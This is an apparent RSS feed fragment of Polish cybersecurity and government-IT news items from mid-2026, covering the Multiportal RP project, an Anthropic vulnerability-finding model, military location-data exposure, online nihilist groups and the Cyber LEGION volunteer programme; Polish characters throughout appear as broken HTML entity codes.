			<description><![CDATA[ Jesieniand#261; ruszy budowa Muliportalu RP, narzand#281;dzia, ktand#243;re ma m.in. pomand#243;c w zaand#322;atwianiu spraw urzand#281;dowych; band#281;dzie ono wykorzystywaand#263; AI - przekazaand#322; PAP dyrektor Centralnego Oand#347;rodka Informatyki Radosand#322;aw Maand#263;kiewicz. W I kw. 2027 r. COI udostand#281;pni tzw. portal poparcia dla komitetand#243;w wyborczych - dodaand#322;.
and#160;



and#160;


fot. Michaand#322; Kubalczyk /and#160;/and#160;Pexels


 Jesieniand#261; zaczniemy prace zwiand#261;zane z budowand#261; Muliportalu RP, czyli zbioru stron internetowych, ktand#243;ry band#281;dzie integrowaand#263; wszystkie strony z domeny gov.pl. Byand#263; moand#380;e zaprezentujemy teand#380; pilotaand#380;owo rozwiand#261;zania dla obywateli w zupeand#322;nie nowym modelu Muliportalu, ze wsparciem AI and#8211; przekazaand#322; Maand#263;kiewicz w rozmowie z PAP.
and#160;
Jak tand#322;umaczyand#322;,and#160;Muliportal ma byand#263; and#8222;pulpitem dla obywatelaand#8221;, ktand#243;ry band#281;dzie pomagaand#263; w zaand#322;atwieniu spraw urzand#281;dowych.and#160;Ma mieand#263; wbudowane nowoczesne narzand#281;dzie do zarzand#261;dzania treand#347;ciami dla ministerstw i instytucji publicznych, tak aby mogand#322;y one and#322;atwo i szybko publikowaand#263; informacje na swoich witrynach internetowych.


- Chcemy stworzyand#263; wspomagany AI, intuicyjny portal, ktand#243;ry band#281;dzie nie tylko dostarczaand#322; informacji, ale poprowadzi przez nie uand#380;ytkownika i faktycznie uand#322;atwi zaand#322;atwienie sprawy urzand#281;dowej and#8211; podkreand#347;liand#322; szef COI.

Na realizacjand#281; projektu Multiportal RP Ministerstwo Cyfryzacji otrzymaand#322;o dofinansowanie w wysokoand#347;ci ponad 165 mln zand#322;.
Radosand#322;aw Maand#263;kiewicz poinformowaand#322; rand#243;wnieand#380;, and#380;e w I kwartale 2027 r. Centralny Oand#347;rodek Informatyki udostand#281;pni portal poparcia, czyli platformand#281; dla komitetand#243;w wyborczych do elektronicznego zbierania podpisand#243;w poparcia pod listami kandydatand#243;w.




















- Przed wyborami parlamentarnymi komitety wyborcze band#281;dand#261; mogand#322;y zbieraand#263; popisy poparcia osobiand#347;cie, tak jak robiand#322;y to do tej pory. Oprand#243;cz tego band#281;dand#261; mieand#263; do dyspozycji rozwiand#261;zanie, ktand#243;re umoand#380;liwi skand#322;adanie podpisand#243;w pod listami w formie elektronicznej and#8211; tand#322;umaczyand#322; rozmand#243;wca PAP.

COI odpowiada za aktualizacjand#281; systemu uand#380;ywanego w Rejestrze Stanu Cywilnego, co ma umoand#380;liwiand#263; transkrypcjand#281; wpisand#243;w maand#322;and#380;eand#324;stw par jednopand#322;ciowych, zawartych poza granicami Polski. Rozporzand#261;dzenie umoand#380;liwiajand#261;ce takie wpisy zostaand#322;o opublikowane w Dzienniku Ustaw 22 maja i ma wejand#347;and#263; w and#380;ycie 23 sierpnia.
- W Rejestrze Stanu Cywilnego jest ponad tysiand#261;c procesand#243;w biznesowych, np. integracje z innymi systemami, czy wydawanie dokumentand#243;w i zaand#347;wiadczeand#324; w postaci papierowej oraz elektronicznej, ktand#243;re muszand#261; dziaand#322;aand#263; poprawnie i bez przerw. Pracand#281; nad aktualizacjand#261; systemand#243;w rozpoczand#281;liand#347;my po podpisaniu rozporzand#261;dzenia przez MSWiA. Band#281;dziemy gotowi na dzieand#324; jego wejand#347;cia w and#380;ycie and#8211; podkreand#347;liand#322; Maand#263;kiewicz.
Zapewniand#322;, and#380;e po aktualizacji rejestru w polach dotyczand#261;cych maand#322;and#380;onkand#243;w band#281;dzie moand#380;liwoand#347;and#263; wyboru: kobieta i kobieta; mand#281;and#380;czyzna i mand#281;and#380;czyzna; oraz kobieta i mand#281;and#380;czyzna.
Centralny Oand#347;rodek Informatyki testuje obecnie LibreOffice, funkcjonujand#261;cy od lat darmowy pakiet oprogramowania biurowego m.in. do edycji tekstu, o otwartym kodzie and#378;rand#243;dand#322;owym (z ang. open source) and#8211; poinformowaand#322; dyrektor. Przekazaand#322;, and#380;e popiera open source, poniewaand#380; wspiera budowanie lokalnych rozwiand#261;zaand#324;, co daje wiand#281;kszand#261; kontroland#281; na infrastrukturand#261; niand#380; komercyjne narzand#281;dzia.






- Pierwsze wnioski z testand#243;w mamy takie, and#380;e pakiet speand#322;nia swoje zadania, jeand#347;li chodzi o narzand#281;dzia biurowe. Natomiast wyzwaniem jest szeroko pojand#281;ta ochrona informacji, poniewaand#380; LibreOffice nie ma wbudowanych komponentand#243;w klasyfikacji i ochrony informacji. Band#281;dziemy wiand#281;c musieli poszukaand#263; dodatkowych komponentand#243;w, aby zabezpieczyand#263; informacje w ramach tego pakietu. To poczand#261;tek drogi szukania rozwiand#261;zaand#324; otwartych and#8211; wskazaand#322; Maand#263;kiewicz.

Dodaand#322;, and#380;e co prawda pakiet LibreOffice jest darmowy, ale COI poniesie koszty utrzymania, wdroand#380;eand#324;, aktualizacji, zabezpieczeand#324;, a takand#380;e szkoleand#324; pracownikand#243;w.
Maand#263;kiewicz przyznaand#322;, and#380;e COI prowadzi analizand#281; rynku publicznego, aby zweryfikowaand#263; z jakich rozwiand#261;zaand#324; komercyjnych korzystajand#261; poszczegand#243;lne organizacje. and#8211; Chcemy stworzyand#263; mapand#281;, ktand#243;ra pomoand#380;e nam znaleand#378;and#263; miejsca w administracji, gdzie moand#380;na wdroand#380;yand#263; rozwiand#261;zania open source, nie tylko dotyczand#261;ce pakietand#243;w biurowych, ale takand#380;e w bazach danych czy w systemach operacyjnych lub innych rozwiand#261;zaniach serwerowych and#8211; sprecyzowaand#322;.
Wskazaand#322;, and#380;e dziaand#322;ania te band#281;dand#261; prowadzone w ramach zespoand#322;u ds. open source, w ktand#243;ry powstaand#322; w kwietniu br. przy Ministerstwie Cyfryzacji. Pytany, czy COI band#281;dzie pracowaand#263; nad wand#322;asnym oprogramowaniem biurowym, odpowiedziaand#322;, and#380;e na obecnym etapie nie widzi takiej potrzeby.

- Zdecydowanie taniej i szybciej band#281;dzie skorzystaand#263; z gotowych rozwiand#261;zaand#324; open source, ktand#243;re sand#261; dostand#281;pne na otwartych licencjach. Ewentualnie moand#380;na byand#322;oby pokusiand#263; siand#281; o dostosowanie takiego pakietu do potrzeb okreand#347;lonych organizacji. Na ten moment jeszcze nie widzimy takiej potrzeby, ale to powinno byand#263; lepsze i szybsze aniand#380;eli budowanie od podstaw caand#322;ego pakietu biurowego. Band#281;dziemy badaand#263; temat we wspand#243;and#322;pracy z samorzand#261;dami i instytucjami publicznymi and#8211; mand#243;wiand#322; rozmand#243;wca PAP.

13 lutego br. Prezydent RP podpisaand#322; nowelizacjand#281; Kodeksu wyborczego, ktand#243;ra przewiduje moand#380;liwoand#347;and#263; zbierania podpisand#243;w poparcia dla kandydatand#243;w w wyborach powszechnych takand#380;e w formie elektronicznej. Ustawa wchodzi w and#380;ycie 18 lutego 2027 r.





17 marca br. Centrum Projektand#243;w Polska Cyfrowa (CPPC) poinformowaand#322;o o pozytywnym rozpatrzeniu wniosku Ministerstwa Cyfryzacji na realizacjand#281; projektu Multiportal RP. Projekt jest finansowany z programu Fundusze Europejskie na Rozwand#243;j Cyfrowy 2021and#8211;2027 (FERC).
20 kwietnia br. zostaand#322;o opublikowane zarzand#261;dzenie Ministra Cyfryzacji, w ktand#243;rym resort powoand#322;aand#322; Zespand#243;and#322; do spraw rozwoju, upowszechniania i wsparcia wdraand#380;ania w sektorze publicznym rozwiand#261;zaand#324; typu open source.
W maju rozporzand#261;dzenie pozwalajand#261;ce na transkrypcjand#281; aktand#243;w maand#322;and#380;eand#324;stw jednopand#322;ciowych podpisali wicepremier minister cyfryzacji Krzysztof Gawkowski wraz z szefem resortu spraw wewnand#281;trznych i administracji Marcinem Kierwiand#324;skim. Rozporzand#261;dzenie jest wynikiem wyroku Trybunaand#322;u Sprawiedliwoand#347;ci Unii Europejskiej, ktand#243;ry w listopadzie 2025 r. naand#322;oand#380;yand#322; na Polskand#281; obowiand#261;zek uznawania zwiand#261;zkand#243;w maand#322;and#380;eand#324;skich zawartych przez osoby tej samej pand#322;ci w innych paand#324;stwach UE. Wyrok ten podtrzymaand#322;y i poleciand#322;y wykonaand#263; polskie sand#261;dy administracyjne.
Centralny Oand#347;rodek Informatyki (COI) jest jednostkand#261; sektora finansand#243;w publicznych, powoand#322;anand#261; w 2010 r. i specjalizujand#261;cand#261; siand#281; w realizacji projektand#243;w IT dla sektora publicznego. Realizuje zadania wyznaczane przez Ministerstwo Cyfryzacji, dotyczand#261;ce m.in. mObywatela, e-Dorand#281;czeand#324;, ePand#322;atnoand#347;ci czy Systemu Rejestrand#243;w Paand#324;stwowych.
and#160;
and#160;




















and#378;rodand#322;o PAP 6 czerwca 2026 Monika Blandyna Lewkowicz (PAP)
mbl/ mmu/ ]]></description>
		</item><item>
			<title><![CDATA[ Rewolucja AI w cyberobronie. Nowy system potrafi wykrywać luki w sieci ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1719</link>
			<description><![CDATA[ Anthropic znalazand#322; siand#281; w centrum bezprecedensowego paradoksu na styku technologii i obronnoand#347;ci: podczas gdy jego inand#380;ynierowie wspand#243;and#322;pracujand#261; bezpoand#347;rednio z amerykaand#324;skand#261; agencjand#261; wywiadowczand#261; NSA, firma toczy otwartand#261; bataliand#281; prawnand#261; z Pentagonem. Sztuczna inteligencja staand#322;a siand#281; nie tylko rewolucjand#261; biznesowand#261;, ale i kluczowym frontem w walce o globalne bezpieczeand#324;stwo narodowe.



and#160;




and#160;

fot. Dado Ruvic /and#160;/and#160;FORUM


Ostatnie doniesienia ze and#347;wiata sztucznej inteligencji rzucajand#261; nowe and#347;wiatand#322;o na przeciand#281;cie innowacji technologicznych, wielkiego biznesu i bezpieczeand#324;stwa narodowego. Firma Anthropic zand#322;oand#380;yand#322;a wniosek o pierwszand#261; ofertand#281; publicznand#261; (IPO), ktand#243;ra moand#380;e wyceniand#263; spand#243;and#322;kand#281; na ponad 1 bilion dolarand#243;w. Ten bezprecedensowy ruch rynkowy wyraand#378;nie podkreand#347;la rosnand#261;ce komercyjne i geopolityczne znaczenie AI na and#347;wiecie.



and#160;



W centrum uwagi inwestorand#243;w oraz rzand#261;dand#243;w znajduje siand#281; nowy model o nazwie Claude Mythos, ktand#243;ry budzi ogromne zainteresowanie ze wzgland#281;du na swoje unikalne zdolnoand#347;ci do wykrywania i wykorzystywania luk w oprogramowaniu. Choand#263;and#160;eksperci ostrzegajand#261;, and#380;e tak zaawansowane narzand#281;dzia mogand#261; uand#322;atwiaand#263; dziaand#322;ania hakerom, sand#261; one jednoczeand#347;nie postrzegane jako kluczowe w budowaniu narodowej cyberobrony. Jak zauwaand#380;yand#322;a osoba z otoczenia firmy: and#8222;Najlepszym sposobem na zbudowanie dobrej obrony jest zbudowanie dobrego atakuand#8221;.
and#160;

Dla obserwatorand#243;w rynku szczegand#243;lnie fascynujand#261;cy jest jednak paradoks w relacjach Anthropic z amerykaand#324;skim rzand#261;dem. Z jednej strony, firma oddelegowaand#322;a swoich inand#380;ynierand#243;w do pracy bezpoand#347;rednio wewnand#261;trz agencji wywiadowczej NSA, aby pomand#243;c w dostosowywaniu modeli do specyficznych zastosowaand#324;, co moand#380;e obejmowaand#263; infiltracjand#281; sieci zagranicznych adwersarzy, takich jak Chiny czy Iran.
and#160;

Z drugiej strony, Anthropic toczy bezprecedensowand#261; bataliand#281; prawnand#261; z Departamentem Obrony USA. Pentagon okreand#347;liand#322; firmand#281; mianem and#8222;ryzyka dla and#322;aand#324;cucha dostawand#8221; po tym, jak start-up prand#243;bowaand#322; zablokowaand#263; wykorzystanie swoich modeli do masowej inwigilacji obywateli i obsand#322;ugi and#347;miercionoand#347;nych dronand#243;w.
Otoczenie regulacyjne rand#243;wnieand#380; dostosowuje siand#281; do tej nowej rzeczywistoand#347;ci. Administracja prezydenta Donalda Trumpa podpisaand#322;a niedawno rozporzand#261;dzenie wykonawcze, ktand#243;re nakazuje agencjom federalnym ocenand#281; cybernetycznych moand#380;liwoand#347;ci systemand#243;w AI i ustanowienie and#8222;izby rozliczeniowej ds. cyberbezpieczeand#324;stwa AIand#8221;.














Fakt, and#380;e Anthropic planuje rozszerzyand#263; dystrybucjand#281; modelu Mythos do 150 organizacji w 15 krajach, jest sygnaand#322;em, and#380;e zaawansowana sztuczna inteligencja o profilu ofensywno-defensywnym staje siand#281; nowym standardem w biznesie. Dla liderand#243;w i inwestorand#243;w wniosek jest jasny: technologia AI to dziand#347; nie tylko narzand#281;dzie optymalizacyjne, ale przede wszystkim strategiczny i wysoce wyceniany zasand#243;b w globalnym wyand#347;cigu o cyberbezpieczeand#324;stwo.




and#160;
and#378;rodand#322;o Bankier.pl 5 czerwca 2026 Oprac. JM ]]></description>
		</item><item>
			<title><![CDATA[ Byli namierzani. Zwykłe smartfony wystawiły armię USA na celownik ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1718</link>
			<description><![CDATA[ and#379;oand#322;nierze amerykaand#324;skiej armii przebywajand#261;cy w strefach dziaand#322;aand#324; wojennych byli namierzani przy wykorzystaniu danych lokalizujand#261;cych urzand#261;dzenia elektroniczne and#8211; poinformowaand#322;a agencja Reutera.
and#160;




and#160;

fot. Bumble Dee /and#160;/and#160;Shutterstock


and#160;
and#160;
and#8222;Komercyjne dane lokalizacyjne mogand#261; byand#263; uand#380;ywane do identyfikowania miejsc koncentracji i funkcjonowania, co moand#380;e zostaand#263; uand#380;yte przez przeciwnika do kierowania ostrzaand#322;u z wykorzystaniem rakiet, dronand#243;w i improwizowanych and#322;adunkand#243;w wybuchowych oraz w celach kontrwywiadowczychand#8221; and#8211; wynika z listu udostand#281;pnionego agencji Reutera przez amerykaand#324;skiego senatora Rona Wydena. Problem ten ma dotyczyand#263; takand#380;e regionu Bliskiego Wschodu w zwiand#261;zku z dziaand#322;aniami przeciwko Iranowi.
and#160;
Amerykaand#324;ski resort obrony nie odpowiedziaand#322; na przesand#322;ane przez media pytania dotyczand#261;ce tego zagadnienia. Przedstawiciele Senatu USA wezwali Pentagon do szybszego zabezpieczenia danych urzand#261;dzeand#324; elektronicznych posiadanych przez and#380;oand#322;nierzy.
and#160;
Dane lokalizacyjne sand#261; zwykle uand#380;ywane w celach reklamowych, najczand#281;and#347;ciej przez aplikacje w smartfonach i innych urzand#261;dzeniach elektronicznych.
W 2016 roku przy pomocy komercyjnych danych lokalizacyjnych aplikacji sportowej ujawniono obecnoand#347;and#263; amerykaand#324;skiego personelu wojskowego w Syrii, o czym poinformowaand#322; dziennik Wall Street Journal. Podobna sytuacja dotyczyand#322;a takand#380;e miejsc stacjonowania siand#322; USA w Niemczech (w tym siedzib instytucji wywiadowczych).and#160;



















and#378;rodand#322;o PAP 31 maja 2026and#160; mad/ kj/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Niewidzialni gracze niszczą państwo? Służby na tropie cyfrowych nihilistów. Padły mocne słowa ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1717</link>
			<description><![CDATA[ Faand#322;szywe alarmy i internetowe grupy and#8222;nakrand#281;cajand#261;ce siand#281;and#8221; przemocand#261; mogand#261; byand#263; przejawem nowego typu zagroand#380;enia and#8211; oceniand#322; kierownik Centrum Analiz Spoand#322;eczeand#324;stwa Informacyjnego Uczelni Korczaka dr Konrad Ciesioand#322;kiewicz. Ostrzegand#322;, and#380;e coraz czand#281;and#347;ciej celem nie jest ideologia, lecz chaos, szok i destabilizacja.
and#160;
and#160;




and#160;

fot. cottonbro studio /and#160;/and#160;Pexels


and#160;
and#160;
W ostatnich tygodniach sand#322;uand#380;by informowaand#322;y o serii faand#322;szywych alarmand#243;w dotyczand#261;cych m.in. politykand#243;w i osand#243;b publicznych. W sprawie zatrzymano mand#322;odych ludzi dziaand#322;ajand#261;cych w internetowej grupie, ktand#243;ra and#8211; wedand#322;ug and#347;ledczych and#8211; miaand#322;a funkcjonowaand#263; caand#322;kowicie online i wykorzystywaand#263; komunikatory oraz platformy internetowe do organizowania dziaand#322;aand#324; destabilizujand#261;cych.
Zdaniem Ciesioand#322;kiewicza tego typu aktywnoand#347;and#263; wpisuje siand#281; w mechanizmy opisywane przez Europol i instytucje zajmujand#261;ce siand#281; przeciwdziaand#322;aniem radykalizacji.

- To speand#322;nia szerokie kryteria tego, co okreand#347;la siand#281; dziand#347; mianem and#8222;comand#8221; and#8211; sieciowych grup funkcjonujand#261;cych caand#322;kowicie online. Czand#281;sto te osoby nawet siand#281; fizycznie nie znajand#261;, ale dziaand#322;ajand#261; wedand#322;ug okreand#347;lonej logiki medialnej - sieciujand#261; siand#281;, budujand#261; relacje zaleand#380;noand#347;ci, nakrand#281;cajand#261; siand#281; wzajemnieand#8221; and#8211; powiedziaand#322; PAP ekspert.

Jak wyjaand#347;niand#322;, w takich and#347;rodowiskach pozycjand#281; buduje siand#281; poprzez wywoand#322;ywanie coraz wiand#281;kszego szoku spoand#322;ecznego. - Im wiand#281;kszy and#8222;dymand#8221; ktoand#347; zrobi, im wiand#281;kszand#261; wywoand#322;a panikand#281; czy chaos, tym bardziej roand#347;nie jego status w grupie. Bardzo czand#281;sto mamy teand#380; do czynienia z czymand#347; w rodzaju toksycznej grywalizacji and#8211; uand#380;ytkownicy wymieniajand#261; siand#281; and#8222;dobrymi praktykamiand#8221;, mand#243;wiand#261; sobie: and#8222;to zadziaand#322;aand#322;oand#8221;, and#8222;to wywoand#322;aand#322;o wiand#281;kszy efektand#8221; and#8211; wskazaand#322;.
Ekspert zwrand#243;ciand#322; uwagand#281;, and#380;e szczegand#243;lnie podatne na wpand#322;yw takich and#347;rodowisk sand#261; osoby mand#322;ode and#8211; czand#281;sto samotne, odrzucone spoand#322;ecznie lub przeand#380;ywajand#261;ce kryzysy psychiczne. - Takie osoby sand#261; namierzane w sieci and#8211; na grupach wsparcia, platformach spoand#322;ecznoand#347;ciowych czy forach. Czand#281;sto sand#261; to mand#322;odzi ludzie w kryzysie zdrowia psychicznego, po doand#347;wiadczeniu bullyingu, z depresjand#261; czy poczuciem izolacji spoand#322;ecznej and#8211; zaznaczyand#322;.
Wedand#322;ug niego coraz czand#281;and#347;ciej mamy do czynienia z nowand#261; formand#261; radykalizacji okreand#347;lanand#261; jako and#8222;nihilistycznie zorientowana przemocand#8221;. - To rand#243;and#380;ni siand#281; od klasycznego ekstremizmu tym, and#380;e ideologia jest drugorzand#281;dna. Celem samym w sobie staje siand#281; destrukcja - wywoand#322;anie szoku, chaosu, cierpienia. To fascynacja przemocand#261; jako takand#261; and#8211; powiedziaand#322;.
Ciesioand#322;kiewicz podkreand#347;liand#322;, and#380;e problem nasiliand#322; siand#281; po wybuchu wojny w Ukrainie, a mand#322;odzi ludzie bywajand#261; wykorzystywani rand#243;wnieand#380; do dziaand#322;aand#324; o charakterze hybrydowym. - Europol i przedstawiciele NATO mand#243;wiand#261; dziand#347; wprost o wykorzystywaniu mand#322;odych ludzi do siania chaosu i destabilizacji. I czand#281;sto te osoby nawet nie wiedzand#261;, and#380;e sand#261; narzand#281;dziami w czyichand#347; rand#281;kach and#8211; oceniand#322;.
Jak wyjaand#347;niand#322;, dziaand#322;ania tego typu mogand#261; przyjmowaand#263; formand#281; tzw. violence as a service and#8211; przemocy jako usand#322;ugi. Zadania sand#261; zlecane przez komunikatory, czand#281;sto za niewielkie wynagrodzenie.

- Ktoand#347; dostaje komunikat: and#8222;zrand#243;b zdjand#281;cieand#8221;, and#8222;przenieand#347; paczkand#281;and#8221;, and#8222;wyand#347;lij alarmand#8221;. Czasem dopiero pand#243;and#378;niej okazuje siand#281;, and#380;e uczestniczyand#322; w dziaand#322;aniach przestand#281;pczych albo destabilizacyjnych and#8211; wskazaand#322; ekspert.

Jego zdaniem paand#324;stwo pozostaje wobec tych zjawisk czand#281;and#347;ciowo bezradne, poniewaand#380; przestrzeand#324; cyfrowa wciand#261;and#380; w niewystarczajand#261;cym stopniu podlega regulacjom. - Jeszcze nigdy w historii dostand#281;p do mand#322;odych ludzi nie byand#322; tak and#322;atwy. Kiedyand#347; istniaand#322;a bariera geografii, rodziny czy szkoand#322;y. Dziand#347; kaand#380;dy ma smartfon i jest stale online and#8211; podkreand#347;liand#322;.





Ekspert oceniand#322;, and#380;e konieczne sand#261; zarand#243;wno regulacje dotyczand#261;ce platform cyfrowych, jak i szeroka edukacja spoand#322;eczna. - Musimy nauczyand#263; siand#281; o tym rozmawiaand#263; and#8211; w szkoand#322;ach, rodzinach, samorzand#261;dach. Nie chodzi o moralizowanie, ale o budowanie krytycznego myand#347;lenia, dystansu i odpowiedzialnoand#347;ci za innych and#8211; zaznaczyand#322;.
Ostrzegand#322; teand#380;, and#380;e brak reakcji moand#380;e doprowadziand#263; do dalszego wzrostu przemocy i radykalizacji mand#322;odych ludzi.
and#160;
and#160;
and#378;rodand#322;o PAP 31 maja 2026 Mira Suchodolska (PAP)
mir/ agz/ ]]></description>
		</item><item>
			<title><![CDATA[ Armia cywilnych hakerów w Polsce. Cyber LEGION rośnie w siłę ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1716</link>
			<description><![CDATA[ W programie Cyber LEGION zarejestrowanych jest ponad 3,3 tys. cywilnych specjalistand#243;w ds. cyberbezpieczeand#324;stwa and#8211; powiedziaand#322; PAP koordynator programu pand#322;k Jarosand#322;aw Wacko. Dodaand#322;, and#380;e pierwotnie projekt zakand#322;adaand#322; pozyskanie 400 ochotnikand#243;w.
and#160;




and#160;

fot. ThisIsEngineering /and#160;/and#160;Pexels


and#160;
Program Cyber LEGION, ktand#243;ry uruchomiono osiem miesiand#281;cy temu, cieszy siand#281; znacznie wiand#281;kszym zainteresowaniem niand#380; przewidywali jego twand#243;rcy. Jak zaznaczyand#322; pand#322;k Wacko, juand#380; w ciand#261;gu pierwszych 48 godzin od startu zapisaand#322;o siand#281; 400 osand#243;b.
and#160;

"and#8211; Od poczand#261;tku funkcjonowania inicjatywy przeszkolono juand#380; ponad pand#243;and#322;tora tysiand#261;ca cyberlegionistand#243;w" and#8211; dodaand#322; wojskowy, ktand#243;ry byand#322; goand#347;ciem Kongresu Bezpieczeand#324;stwo Polski odbywajand#261;cego siand#281; w Jasionce.




and#160;



Jak wyjaand#347;niand#322;, gand#322;and#243;wnym celem Cyber LEGIONU jest integracja cywilnych ekspertand#243;w z systemem obronnym paand#324;stwa w celu and#8222;stworzenia jednolitej struktury cyberodpornoand#347;ci krajuand#8221;. Koordynator projektu zwrand#243;ciand#322; uwagand#281; na koniecznoand#347;and#263; odejand#347;cia od tradycyjnego podziaand#322;u na sektor cywilny i wojskowy w tej dziedzinie.
and#160;
"and#8211; Cyberprzestrzeand#324; jest tak rozlegand#322;ym i wspand#243;lnym obszarem, and#380;e jej ochrona nie moand#380;e byand#263; sztywno podzielona na odrand#281;bne strefy odpowiedzialnoand#347;ci and#8211; to nigdy siand#281; nie sprawdzi. Dlatego my, jako Wojska Obrony Cyberprzestrzeni, chcemy wand#322;and#261;czaand#263; w ten system cywilnych specjalistand#243;w" and#8211; wskazaand#322; pand#322;k Wacko.
and#160;
Wyjaand#347;niand#322;, and#380;e wspand#243;and#322;praca ochotnikand#243;w z wojskiem opiera siand#281; na elastycznym modelu zaangaand#380;owania i ma charakter nieodpand#322;atny. Uczestnicy biorand#261; udziaand#322; w szkoleniach, konferencjach i and#263;wiczeniach, pokrywajand#261;c koszty logistyczne oraz zakwaterowania z wand#322;asnych and#347;rodkand#243;w lub przy wsparciu pracodawcand#243;w. - Zyskujand#261; przy tym moand#380;liwoand#347;and#263; wspand#243;and#322;pracy z najlepszymi specjalistami cyberbezpieczeand#324;stwa na and#347;wiecie, a przede wszystkim realizacji wewnand#281;trznej potrzeby wsparcia bezpieczeand#324;stwa paand#324;stwa and#8211; dodaand#322; pand#322;k Wacko.














Wojskowy powiedziaand#322;, and#380;e jednym z takich szkoleand#324; sand#261; rozgrywki w formule Capture the Flag (CTF). W tym tygodniu rozpoczand#281;and#322;y siand#281; finaand#322;y tej ligi pod nazwand#261; Operation Cyber Flag, podczas ktand#243;rych zespoand#322;y jednoczeand#347;nie broniand#261; wand#322;asnej infrastruktury teleinformatycznej i testujand#261; zabezpieczenia rywali.




Zgodnie z informacjami przekazanymi przez koordynatora programu Cyber LEGION umiejand#281;tnoand#347;ci cywilnych ekspertand#243;w sand#261; wykorzystywane na bieand#380;and#261;co, przy eliminowaniu podatnoand#347;ci systemand#243;w w prywatnych firmach, ktand#243;re dostarczajand#261; m.in. usand#322;ugi logistyczne lub sprzand#281;t dla Siand#322; Zbrojnych RP.
and#160;

"and#8211; Wojsko nie musi znaand#263; siand#281; na superspecjalistycznych systemach medycznych, bankowych czy logistycznych, ale mamy kogo o nie zapytaand#263;. Mamy kogo wysand#322;aand#263; z pomocand#261;, moand#380;emy teand#380; powoand#322;aand#263; takie osoby na and#263;wiczenia rezerwy i skierowaand#263; je do wsparcia dziaand#322;aand#324;. To wand#322;aand#347;nie uczestnicy Cyber LEGIONU and#8211; wyjaand#347;niand#322; oficer."

and#160;
W strukturach Cyber LEGIONU roand#347;nie takand#380;e liczba osand#243;b formalnie wiand#261;and#380;and#261;cych siand#281; z armiand#261;. Dotychczas przysiand#281;gand#281; wojskowand#261; zand#322;oand#380;yand#322;o kilkadziesiand#261;t osand#243;b, a plan na bieand#380;and#261;cy rok zakand#322;ada zwiand#281;kszenie tej grupy do ponad 100 and#380;oand#322;nierzy rezerwy.
Pand#322;k Wacko powiedziaand#322;, and#380;e wand#347;rand#243;d uczestnikand#243;w sand#261; specjaliand#347;ci z caand#322;ego kraju, w tym osoby, ktand#243;re z wand#322;asnej inicjatywy przeszand#322;y ponownand#261; kwalifikacjand#281; wojskowand#261;, by zmieniand#263; kategoriand#281; zdrowia z D na A. Sand#261; w formacji takand#380;e kobiety, ktand#243;re na ochotnika wstand#281;pujand#261; do rezerwy Wojsk Obrony Cyberprzestrzeni.





Polskim rozwiand#261;zaniem utworzenia Cyber LEGIONU interesujand#261; siand#281; obecnie przedstawiciele siand#322; zbrojnych innych paand#324;stw, ktand#243;rym trudno zrozumieand#263; tak duand#380;e zainteresowanie programem.
Pand#322;k Wacko zwrand#243;ciand#322; uwagand#281; na motywacjand#281; uczestnikand#243;w, podkreand#347;lajand#261;c ich nowoczesne podejand#347;cie do patriotyzmu, przejawiajand#261;ce siand#281; w gotowoand#347;ci do bezinteresownego dziaand#322;ania na rzecz kraju.
"and#8211; Po to siand#281; szkolimy i budujemy potencjaand#322;, and#380;eby przeciwnik nawet nie sprand#243;bowaand#322; podjand#261;and#263; wobec nas szeroko zakrojonych atakand#243;w, a nawet jeand#347;li to zrobi, and#380;eby liczyand#322; siand#281; z powaand#380;nymi konsekwencjami po swojej stronie. Ludzie, ktand#243;rzy do nas przychodzand#261;, wspand#243;and#322;tworzand#261; ten potencjaand#322;. Pokazujand#261; adwersarzowi, and#380;e sand#261; gotowi i nie tylko band#281;dand#261; skutecznie broniand#263; naszej infrastruktury, mogand#261; teand#380; and#8222;uand#380;and#261;dliand#263;and#8221; and#8211; podsumowaand#322; pand#322;k Wacko.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 30 maja 2026and#160; huk/ mok/






and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Polska jest jednym z państw najbardziej zagrożonych cyberatakami ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1715</link>
			<description><![CDATA[ Zastand#281;pca szefa Kancelarii Prezesa Rady Ministrand#243;w Jakub Stefaniak oceniand#322; w czwartek, and#380;e Polska jest jednym z paand#324;stw najbardziej zagroand#380;onych cyberatakami na and#347;wiecie. W jego opinii przy budowaniu odpornoand#347;ci paand#324;stwa duand#380;e znaczenie ma wsparcie samych obywateli.
and#160;




and#160;

fot. I love photo /and#160;/and#160;Shutterstock


and#160;
Stefaniak byand#322; w czwartek jednym z uczestnikand#243;w Polskiego Kongresu Gospodarczego (PKG); wziand#261;and#322; udziaand#322; w debacie pt. and#8222;Cyber-tarcza. Paand#324;stwo i biznes w obliczu wojny informacyjnejand#8221; prowadzonej przez redaktora naczelnego Polskiej Agencji Prasowej Wojciecha Tumidalskiego.
Zastand#281;pca szefa KPRM przypomniaand#322;, and#380;e w 2025 r. instytucje zajmujand#261;ce siand#281; cyberbezpieczeand#324;stwem w Polsce odnotowaand#322;y ponad 270 tys. incydentand#243;w, co oznacza wzrost o ok. 140-150 proc. w porand#243;wnaniu z rokiem poprzednim.

and#8211; Jeand#347;li chodzi o cyberprzestand#281;pstwa, to jesteand#347;my w stanie poradziand#263; sobie z algorytmami czy systemami, ale zazwyczaj najwiand#281;kszym problemem jest komponent ludzki. Jeand#347;li dochodzi do skutecznego ataku, ktand#243;ry w duand#380;ej mierze niesie za soband#261; negatywny efekt dla spoand#322;eczeand#324;stwa czy podmiotand#243;w, to jest on spowodowany band#322;and#281;dem ludzkim and#8211; stwierdziand#322;.
Pand#322;k Paweand#322; Doniec, zastand#281;pca dowand#243;dcy Komponentu Wojsk Obrony Cyberprzestrzeni, zwrand#243;ciand#322; uwagand#281; na zagroand#380;enie ze strony dezinformacji, ktand#243;ra and#8222;prowadzona przez Federacjand#281; Rosyjskand#261;, jest najgroand#378;niejsza dla paand#324;stwa polskiegoand#8221;. Porand#243;wnaand#322; on jand#261; do and#8222;codziennie umieszczanej kropli atramentu w wielkim akwariumand#8221;.







